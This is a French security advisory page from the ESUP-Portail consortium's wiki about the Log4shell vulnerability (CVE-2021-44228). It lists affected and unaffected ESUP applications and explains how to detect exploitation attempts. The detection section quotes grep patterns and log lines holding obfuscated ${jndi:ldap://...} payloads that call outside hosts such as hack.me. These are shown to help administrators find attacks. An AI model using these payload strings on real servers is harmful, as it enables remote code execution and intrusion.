Sécurité
Pages enfant
  • ESUP-2021-AVI-001 - Log4shell

Comparaison des versions

Légende

  • Ces lignes ont été ajoutées. Ce mot a été ajouté.
  • Ces lignes ont été supprimées. Ce mot a été supprimé.
  • La mise en forme a été modifiée.

...

Les avis de sécurité du consortium ESUP-Portail portent sur des vulnérabilités des logiciels diffusés par le consortium. Il est de la responsabilité de chacun des destinataires de ce document de ne pas le rediffuser en dehors du cadre pour lequel il a été écrit, pour des raisons évidentes de sécurité des Systèmes d'Information de tous les établissements du consortium ESUP-Portail.

Objet

Log4shell - CVE-2021-44228 vis à vis des applications ESUP

Référence

ESUP-2021-AVI-001

Date de la première version

12 décembre 2021

Date de la dernière version

12 décembre 2021

Source

CVE-2021-44228

Diffusion de cette version

Publique

Historique

  • 10 décembre 2021 : réception de la faille CVE-2021-44228 et CERTFR-2021-ALE-022 (Damien Berjoan)
  • 10-11 décembre 2021 : reproduction de l'exploit via des POC (Pascal Rigaux)
  • 11 décembre 2021 : état des lieux des applications ESUP affectés (coordination technique)
  • 12 décembre 2021 : rédaction de l'avis (Pascal Rigaux, Vincent Bonamy)
  • 12 décembre 2021 : revue de l'avis (Damien Berjoan)
  • 13 décembre 2021 : envoi de l'avis de sécurité à securite@esup-portail.org
  • 13 décembre 2021 : envoi de l'avis de sécurité à esup-utilisateurs@esup-portail.org
  • 13 décembre 2021 : publication de l'avis

Planning prévisionnel

-

Pièces jointes

-

Risque

  • Possibilité pour un attaquant d'envoyer et faire exécuter du code arbitraire à un serveur.

...

  • log4j (1.x) n'est pas concerné ; c'est un projet distinct de log4j2
  • la faille est exploitable dans toutes les versions de Java (notamment avec tomcat)
  • les versions à jour de java réduisent la surface bloquent un type d'attaque
  • Apereo CAS est particulièrement exposé

...

Applications non concernées

  • esup-dematec (elle embarque des librairies log4j-2 qui ne sont pas utilisées : log4j (1) est utilisé : configuration par log4j.properties)
  • esup-ecandidat
  • esup-mdw (MonDossierWeb v3)
  • esup-pod
  • esup-pstage
  • esup-signature
  • esup-smsu

  • esupUserApps / ProlongationENT

  • esup-sgc
  • esup-nfc-tag
  • esup-papercut
  • esup-pay
  • esup-helpdesk
  • uportal et portlets associées
  • shibboleth idp (sauf docker)
  • bbb 2.2
  • ametys odf
  • ade
  • ksup

    esup-dematec - elle embarque des librairies log4j-2 qui ne sont pas utilisées : log4j (1) est utilisé : configuration par log4j.properties

  • ...

Librairies log Java

Pour déterminer si une application java est impactée il faut déterminer quelle librairie de log est utilisée.

...

Vous pouvez rechercher '${' ou encore 'Reference Class' ou encore 'javax.el.ELProcessor@' pour voir si une tentative d'exploitation de la faille a été opérée.

...

Bloc de code
languagebash
grep '${\|Reference Class\|javax.el.ELProcessor' /opt/tomcat-cas/logs/cas.log 
2021-12-11 05:48:59,478 WARN [org.apereo.cas.web.flow.SpnegoNegotiateCredentialsAction] - <User Agent header [${jndi:${lower:l}${lower:d}a${lower:p}://toto.log4j2${upper:a}attaq.io:80/callback}] is not supported in the list of supported browsers [[Firefox]]>

...

Bloc de code
languagebash
grep '${\|Reference Class\|javax.el.ELProcessor' /opt/tomcat-cas/logs/cas_audit.log 
CLIENT IP ADDRESS: ${jndi:ldap://X-Forwarded-For.univ-ville.fr.id-de-test.solution-de-test.net/a.bc}
WHO: ${jndi:ldap://hack.me:1389//univ-ville.fr/X-Forwarded-For}
CLIENT IP ADDRESS: Reference Class Name: foo

Notes supplémentaires

  • La chaine 'Reference Class' peut correspondre

...

  • à une expression ${... qui a résulté de la récupération d'une référence à une classe elle-même non récupérée/exécutée.

...

  • Mais cela peut aussi être la chaîne a été rentrée telle quelle ou le résultat de l'interprétation de bout en bout.
  • la chaine ${.. est présente: elle a pu ne pas être interprétée (cas d'un CAS dont la vulnérabilité est fixée) ou elle a pu être interprétée partiellement ou de bout en bout (récupération de la référence, récupération du code) .
  • la chaine 'javax.el.ELProcessor@' peut correspondre à une interprétation de bout en bout.


Dans tous les cas ; une analyse plus poussée (flux) est à envisager.

...